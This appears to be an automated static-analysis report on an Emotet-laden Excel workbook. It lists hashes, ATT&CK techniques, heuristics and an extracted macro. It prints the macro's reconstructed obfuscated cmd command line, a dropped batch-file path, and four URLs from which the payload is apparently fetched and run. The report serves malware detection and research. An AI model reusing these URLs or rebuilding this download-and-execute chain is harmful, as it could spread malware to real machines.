Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 d68259f569a34f9e…

MALICIOUS

Office (OLE) / .XLSX

151.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel
MD5: 89480f02f2cb0e03af03cd817a070382 SHA-1: 15c0c84aa954c1b695f5dc0078c35cc219297ba9 SHA-256: d68259f569a34f9eec1b42bae3cdb7af705ab92d1c3de205a4cf8edce1a60f87
280 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains a Workbook_Open macro that uses CreateObject to instantiate Wscript.Shell. This script then executes a batch file located at 'c:\programdata\jledshf.bat' and subsequently runs another command that appears to download and execute a payload from a series of obfuscated URLs. The ClamAV detection name 'Doc.Downloader.EmotetExcel02226-9938630-0' strongly suggests the Emotet family. The obfuscated command line is reconstructed as: 'c:programdatajledshf.bat', 'c:programdatajledshf.bat', 'cmd /c start /B /WAIT %fHsry5yuThsdrF%%GfYww443eYIUGjij%%JlHkugjVkjk%%KouUtdf6rDhGj%%OUBbkgjYFUg7%%MBHyyuG7J%%kh8UGFkkDFTF%&echo HijyFytFydt5665ETRDYfuYfUf9HBVcrewwyppohjbvCRseW2tgHGvJh64TFJyhTdryg', and the URLs are 'http://moneyquout.ja.deals/assets/jCwXvUS7VhWxj/', 'http://vestaseguridab.com.ar/wp-content/7JD9gufnwG/', 'https://mail.rededucacionvirtual.com/wp-includes/BqJi1K/', and 'http://veluxcounterapi.oribitalwave.it/assets/W9Kfk84'.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetExcel02226-9938630-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel02226-9938630-0
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
c49f2df77c50e10269216d97c3efdf7c32f9f18ba5d8fd42a9b144f48e100040		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 5709 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.

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